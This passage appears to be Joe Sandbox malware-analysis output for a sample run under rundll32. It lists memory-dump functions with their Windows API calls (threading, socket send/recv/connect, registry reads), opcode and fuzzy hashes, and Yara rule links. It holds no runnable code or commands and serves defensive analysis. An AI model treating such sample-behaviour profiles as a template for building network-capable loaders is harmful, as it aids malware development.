Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: CompletionErrorLastQueuedStatus
String ID:
API String ID: 1532515109-0
Opcode ID: 4251df5963eb5df988e45d63c338e0a1d39b7a8a54c15b4c9e3f1486f2c78cba
Instruction ID: 3be160b992f5bd07fc0acaed33a9d6f52d72555a24886903937150a99bb6a8cd
Opcode Fuzzy Hash: 4251df5963eb5df988e45d63c338e0a1d39b7a8a54c15b4c9e3f1486f2c78cba
Instruction Fuzzy Hash: 9231C3313083448BC304DA6ADCC472AB7E6EBC8398F14C93DE4AAC7750E6349C1E8B15

Function 6CC4FA90 Relevance: 3.1, APIs: 2, Instructions: 87threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC50110: RtlAllocateHeap.NTDLL(02870000,00000000,?,?,6CBC5AAF,?,00000004,6CBCE4B2,?,6CC4682F,?,?,?,?,6CC465EB,00000002), ref: 6CC5011F

CreateThread.KERNEL32(00000000,?,6CC4FBE0,00000000,00010000,00000000), ref: 6CC4FAF8
GetLastError.KERNEL32(?,?,?), ref: 6CC4FB54

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AllocateCreateErrorHeapLastThread
String ID:
API String ID: 3346699961-0
Opcode ID: 45c1f6bce9847093b77b6d5ea75d2bd8809f98ab18317800c0fcc8765271c4ed
Instruction ID: b93b6e4cde7d68c29eb4b7a67e18b481f53a137ecd4c72f11dd308de75d9df00
Opcode Fuzzy Hash: 45c1f6bce9847093b77b6d5ea75d2bd8809f98ab18317800c0fcc8765271c4ed
Instruction Fuzzy Hash: 4F3192B0A002498FDB00DF69C980BEEBBF5FF49314F14C165E518AB740E7749945CBA5

Function 04202FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 04203023
recv.WS2_32(?,?,00040000,00000000), ref: 04203044

Part of subcall function 042072CD: __getptd_noexit.LIBCMT ref: 042072CD

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: d7ba393c48ca7c0c17cb92714509ae21bec28ab181c20c2315807c4a92a367f8
Instruction ID: 561ba0c2844ab5390790bc0ab0012fc048858727d34e10ac4c5522193a7017af
Opcode Fuzzy Hash: d7ba393c48ca7c0c17cb92714509ae21bec28ab181c20c2315807c4a92a367f8
Instruction Fuzzy Hash: AE21E770711208AFEB20EF28DC88B9A77F5EF55314F1081A5E9045B1D2DBB1BD84CBA1

Function 04DB2FD0 Relevance: 3.1, APIs: 2, Instructions: 81networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 04DB3043
recv.WS2_32(?,?,00040000,00000000), ref: 04DB3064

Part of subcall function 04DBF87B: __getptd_noexit.LIBCMT ref: 04DBF87B

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: c6a1208dc7ec4fa29f234feeee696e1cba19e680a688a5c3828c72a06adedaa3
Instruction ID: 9f62a034fe6524d730575477c34f489d1fee031b0ff6237e67c417b06a340865
Opcode Fuzzy Hash: c6a1208dc7ec4fa29f234feeee696e1cba19e680a688a5c3828c72a06adedaa3
Instruction Fuzzy Hash: 39218270700614DBEB209F69CC88BDA77A4FF04314F1046A9E996AB290DA70F984DBE1

Function 6CC4FCB0 Relevance: 3.1, APIs: 2, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 6CC4FD60
SetThreadDescription.KERNELBASE(00000000,?), ref: 6CC4FD6E

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Thread$CurrentDescription
String ID:
API String ID: 654298328-0
Opcode ID: 86d14fb26028056208929d8e58ee642459df53758fc149f0b68994887e9d24c8
Instruction ID: d09b45d5edb185df64f80c04dc97b4f9a0086fb34301039bea96c856ae98c671
Opcode Fuzzy Hash: 86d14fb26028056208929d8e58ee642459df53758fc149f0b68994887e9d24c8
Instruction Fuzzy Hash: 88219AB1E006498FCB00DF98C844BEEBBB5FF48324F148169E816A7B50E734AD05CBA0

Function 6CC4F9B0 Relevance: 3.1, APIs: 2, Instructions: 74networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000190), ref: 6CC4F9DA
WSAStartup.WS2_32(00000202,?), ref: 6CC4F9E8

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Startupmemset
String ID:
API String ID: 1873301828-0
Opcode ID: 08f7047711626e60d572b6bb434ea6f1ec3dae585dd348a3d64f289bf1aa2dd1
Instruction ID: 6731c9ee222dfabbe0f837652b5dc469e54ec5c8b5b789425a3b334c595b59b6
Opcode Fuzzy Hash: 08f7047711626e60d572b6bb434ea6f1ec3dae585dd348a3d64f289bf1aa2dd1
Instruction Fuzzy Hash: BD11C671A4030C9FD700DF9AD945BDE77B8AF86719F00C054FD499BB41E730A9488AA2

Function 6CBF9E6E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000140), ref: 6CBF9ECC

Strings

main, xrefs: 6CBF9E9A

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: main
API String ID: 2162964266-3207122276
Opcode ID: 4a7be579364f8dec4ffc7060f23a4a8848361e86b575683bebca7c7b54ad4cff
Instruction ID: 4078746958c7d4e15b81b9079df12612d46be78cfab4ad5ff075a165b6e1f1a7
Opcode Fuzzy Hash: 4a7be579364f8dec4ffc7060f23a4a8848361e86b575683bebca7c7b54ad4cff
Instruction Fuzzy Hash: 3F11B731B006019BEB11DF25D480BAE73A9EF84728F144564D8298BB94DF34FC19CBE2

Function 04DB3260 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 04DB3291
send.WS2_32(?,?,?,00000000), ref: 04DB32CE

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: cf55f44120b5dd4ea97d749d49d7da3061a809a0acff67fda56b8c386c8a9970
Instruction ID: 8be168ea0c693c6a29d5d91ee8dc4f38273c4ffa6cec73defe39112ec12ef1a5
Opcode Fuzzy Hash: cf55f44120b5dd4ea97d749d49d7da3061a809a0acff67fda56b8c386c8a9970
Instruction Fuzzy Hash: 6811A572B05304FBD7608A6EDD89B9E7798FB81364F104165ED4AD7280D270FD41A7A4

Function 04203240 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 04203271
send.WS2_32(?,?,?,00000000), ref: 042032AE

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 45a8c446b9c07855006ead014f17d836b8a8989f3c0f06e96404944b6d732096
Instruction ID: 8ed768c850c2887deeee5090e7dda745b6f1df89654c35640356af67eacc0228
Opcode Fuzzy Hash: 45a8c446b9c07855006ead014f17d836b8a8989f3c0f06e96404944b6d732096
Instruction Fuzzy Hash: 0411C272B25305AFD720CA2EDC88B5A77D8EB81368F118122EE0CD71C2DA70BC419650

Function 04DB30E0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 04DB310A
timeGetTime.WINMM ref: 04DB3124

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: e0c31e1aa7028ad21a61f149e8c59b07164c3fffb5f1d0b0b3ceb42f93f30392
Instruction ID: 274b4941d21f4d724ea08b4db282e7429908e07dcb8c2f203dde7e1d344544b0
Opcode Fuzzy Hash: e0c31e1aa7028ad21a61f149e8c59b07164c3fffb5f1d0b0b3ceb42f93f30392
Instruction Fuzzy Hash: CA01BC31200206EFD311CF28C8C8BA9B7A9FB99741F144268E9458B280C735B9C6DBE1

Function 042030C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 042030EA
timeGetTime.WINMM ref: 04203104

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: f5e0866dda216894495eef4a4691855038d3b84e5863760eca280ba79c353da4
Instruction ID: 4b3ecabccc481304a5c66392456470c95523b46ab7bfe6059ede266d15ed49a8
Opcode Fuzzy Hash: f5e0866dda216894495eef4a4691855038d3b84e5863760eca280ba79c353da4
Instruction Fuzzy Hash: 8B015E31710206AFD710DF59D8C8BA9B3E9FB99311F148268D904871D1C775B9D5CBD1

Function 04DBCC80 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,04DBDFAE,00000000,04DB9760,?,?,?,00000000,04DD125B,000000FF,?,04DBDFAE), ref: 04DBCC9B
_free.LIBCMT ref: 04DBCCD6

Part of subcall function 04DB1280: __CxxThrowException@8.LIBCMT ref: 04DB1290
Part of subcall function 04DB1280: DeleteCriticalSection.KERNEL32(00000000,04DBD341,04DD6624,?,?,04DBD341,?,?,?,?,04DD5A40,00000000), ref: 04DB12A1

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 6ee81ae3efcca11f6b1e5200d6ded3f9489654c4eeb7c8857f4b5040e8a207da
Instruction ID: ab5fa453b00facf51bc62e79e4037ae4fb39be7df283341c862e97014007fddf
Opcode Fuzzy Hash: 6ee81ae3efcca11f6b1e5200d6ded3f9489654c4eeb7c8857f4b5040e8a207da
Instruction Fuzzy Hash: 27017AF0A01B408FD3218F6A9844A47FAF8FF99700B104A1EE2DAC7B10D374A505CBA5

Function 042065D0 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,042061A0,00000000,04205B02), ref: 042065EB
_free.LIBCMT ref: 04206626

Part of subcall function 04201280: __CxxThrowException@8.LIBCMT ref: 04201290
Part of subcall function 04201280: DeleteCriticalSection.KERNEL32(00000000,FFFFFFFF,04217E78,?,?,04206601), ref: 042012A1

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: d7cf103d7294eddc69ac49c480690c4548f4c8b1058599e43f0980d9ea10815b
Instruction ID: c602f7c17756168cab5bc6abf255dab7058a5cb55426dd706663bc7f9e1229de
Opcode Fuzzy Hash: d7cf103d7294eddc69ac49c480690c4548f4c8b1058599e43f0980d9ea10815b
Instruction Fuzzy Hash: B501C0F0A00B408FD3308F6A9844A17FAF8FFA8710B108A1EE2DAC7A50D775A144CF95

Function 6CC5849D Relevance: 3.0, APIs: 2, Instructions: 30networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 6CC584BE
WSAGetLastError.WS2_32(?,00000004,?,?,00000002,6CC0288D,?,?,6CCB5F8C,6CCB5F64), ref: 6CC584CB

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: 3d801aa72a588a020bbcfd5a358193338fd0cca70957b88a9a54671afe4244ba
Instruction ID: a39264a91fca7ac6207511cac35b7281761c331b220d58eacfc6f07e94ee5143
Opcode Fuzzy Hash: 3d801aa72a588a020bbcfd5a358193338fd0cca70957b88a9a54671afe4244ba
Instruction Fuzzy Hash: 14F055B0604B405FE7244F38885ABA77BF49B06324F04882EF6A7C73C0C77598148361

Function 04DBE3E0 Relevance: 3.0, APIs: 2, Instructions: 21synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,04DBDE70,00000000,00000000,00000000), ref: 04DBE3FB
WaitForSingleObject.KERNEL32(00000000,000000FF,?,04DC10C8,?,?,?,?,?,?,04DD6298,0000000C,04DC1170,?), ref: 04DBE409

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: e1023e295dd5d6698802dbbf1e8e2655b6736f6e25dc645791e46578c706dbe7
Instruction ID: 785dfa19e6c1690e355bee676dd5715f8eb29b6c40baf41ea3d3758091b61420
Opcode Fuzzy Hash: e1023e295dd5d6698802dbbf1e8e2655b6736f6e25dc645791e46578c706dbe7
Instruction Fuzzy Hash: 70E012B0644205FFDB109FA4AC99DB637ECE7143107104275B951C7341D538BC808AA0

Function 04DBF8E3 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04DBF8EF

Part of subcall function 04DC3E41: __getptd_noexit.LIBCMT ref: 04DC3E44
Part of subcall function 04DC3E41: __amsg_exit.LIBCMT ref: 04DC3E51

Part of subcall function 04DBF8C4: __getptd_noexit.LIBCMT ref: 04DBF8C9
Part of subcall function 04DBF8C4: __freeptd.LIBCMT ref: 04DBF8D3
Part of subcall function 04DBF8C4: ExitThread.KERNEL32 ref: 04DBF8DC

__XcptFilter.LIBCMT ref: 04DBF910

Part of subcall function 04DC4173: __getptd_noexit.LIBCMT ref: 04DC4179

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 19da20c6bb210dd3d35fa9447ca57d693e5a33e7b44c8e4f9ab9aec8ff067b4e
Instruction ID: c56030ac2d789f44389e05f9b89402cab629422e8a80abda44928a899a1b12c2
Opcode Fuzzy Hash: 19da20c6bb210dd3d35fa9447ca57d693e5a33e7b44c8e4f9ab9aec8ff067b4e
Instruction Fuzzy Hash: 3FE0ECB5A00605DFEB08EBA0C815E6E7779EF45705F20414DE1425B2A0CB79B944DF74

Function 04207335 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04207341

Part of subcall function 04209A33: __getptd_noexit.LIBCMT ref: 04209A36
Part of subcall function 04209A33: __amsg_exit.LIBCMT ref: 04209A43

Part of subcall function 04207316: __getptd_noexit.LIBCMT ref: 0420731B
Part of subcall function 04207316: __freeptd.LIBCMT ref: 04207325
Part of subcall function 04207316: ExitThread.KERNEL32 ref: 0420732E

__XcptFilter.LIBCMT ref: 04207362

Part of subcall function 04209D65: __getptd_noexit.LIBCMT ref: 04209D6B

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 96f678a688c6dd940e805ba4694edda86fd21797305177ab4e891c78768e2bac
Instruction ID: 52845efec21e39fa88c10599bc66ad284d2ba12aab3592e3511f441c28bad32d
Opcode Fuzzy Hash: 96f678a688c6dd940e805ba4694edda86fd21797305177ab4e891c78768e2bac
Instruction Fuzzy Hash: E8E0ECB1A606009FFB18BBA0C945E2E77B5AF84605F208099E1035B2E2CF75BD80DA20

Function 04DC6476 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 04DC648E

Part of subcall function 04DC8E5B: __mtinitlocknum.LIBCMT ref: 04DC8E71
Part of subcall function 04DC8E5B: __amsg_exit.LIBCMT ref: 04DC8E7D
Part of subcall function 04DC8E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,04DC3EEC,0000000D,04DD6340,00000008,04DC3FE3,00000000,?,04DC1050,00000000,04DD6278,00000008,04DC10B5,?), ref: 04DC8E85

__tzset_nolock.LIBCMT ref: 04DC649F

Part of subcall function 04DC5D95: __lock.LIBCMT ref: 04DC5DB7
Part of subcall function 04DC5D95: ____lc_codepage_func.LIBCMT ref: 04DC5DFE
Part of subcall function 04DC5D95: __getenv_helper_nolock.LIBCMT ref: 04DC5E20
Part of subcall function 04DC5D95: _free.LIBCMT ref: 04DC5E57
Part of subcall function 04DC5D95: _strlen.LIBCMT ref: 04DC5E5E
Part of subcall function 04DC5D95: __malloc_crt.LIBCMT ref: 04DC5E65
Part of subcall function 04DC5D95: _strlen.LIBCMT ref: 04DC5E7B
Part of subcall function 04DC5D95: _strcpy_s.LIBCMT ref: 04DC5E89
Part of subcall function 04DC5D95: __invoke_watson.LIBCMT ref: 04DC5E9E
Part of subcall function 04DC5D95: _free.LIBCMT ref: 04DC5EAD

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: 742552d83785f348b27f7f5c99eb8d4831cf935c95d5af4cd13bc2c9fbdbee67
Instruction ID: 620925a8c251ab9c6c7326397c3b0a92ce68c3605cd51189e442a99834ae9bc3
Opcode Fuzzy Hash: 742552d83785f348b27f7f5c99eb8d4831cf935c95d5af4cd13bc2c9fbdbee67
Instruction Fuzzy Hash: 4DE0E634A45732E7DB227BA5A51160DB160EB94B66B50411DE4502758189746542C6B1

Function 6CC476B7 Relevance: 3.0, APIs: 2, Instructions: 16networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,6CC38577,0C7502F8), ref: 6CC476C6
GetLastError.KERNEL32 ref: 6CC476D0

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastconnect
String ID:
API String ID: 374722065-0
Opcode ID: 1fd81914dc02975c6eb5aa0cb31e1638d23aee0b9df923447eaf5fa14c89211d
Instruction ID: 5e6e80334cba3c6a037434a33fee0159ec79687c1bf240d3b7089a2efb05ad78
Opcode Fuzzy Hash: 1fd81914dc02975c6eb5aa0cb31e1638d23aee0b9df923447eaf5fa14c89211d
Instruction Fuzzy Hash: 60D05E71105211AFE7105F29D544BB67BE8AF05350F18C85DE4C0D6A00E774C884DB60

Function 04DB6E3C Relevance: 3.0, APIs: 2, Instructions: 8registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80000001,04DB6E1A), ref: 04DB6E49
RegCloseKey.ADVAPI32(000008CC), ref: 04DB6E52

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 31cc468a1c21a642f4551931c60f7be983b7b0e8fd4110a393d0885e0533caf4
Instruction ID: 68a28fa01d2825055e83479c1d33cfd8716442f931356fef4c2865b78e5d2bee
Opcode Fuzzy Hash: 31cc468a1c21a642f4551931c60f7be983b7b0e8fd4110a393d0885e0533caf4
Instruction Fuzzy Hash: 41C09B72D0103857CF10E7A4FD44D4D77B89F4C210F1140C2A104A3114C634BD41CF90

Function 6CC0126C Relevance: 2.6, APIs: 2, Instructions: 81COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000110,?,?,6CCB5F8C,6CCB5F64), ref: 6CC02202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CCB5F8C,6CCB5F64), ref: 6CC0222D

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 6fead2eb3b6a702d2f7784405b96e1c30225f118fa09ebbeaa291d9ba2bdfa91
Instruction ID: f49c8ef2b8fe819807cd039aeaf0c97b23c67df539db3b187414f6935b241ee5
Opcode Fuzzy Hash: 6fead2eb3b6a702d2f7784405b96e1c30225f118fa09ebbeaa291d9ba2bdfa91
Instruction Fuzzy Hash: FE417770A09F448BD751CF28C490AA7B7F0FF8A341F008A5EE49E5A212EB31E481DB02

Function 6CC0C93D Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC11D27,6CCB58B1), ref: 6CC0C99B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 60b13ae78b097f24b96a3f9a4aaef0b701cc38bb03520601838494f7966be34b
Instruction ID: a766e1866ef8dd79f3f4bbe5cdd7a526944e295b36d8725f30b0b5084115eabc
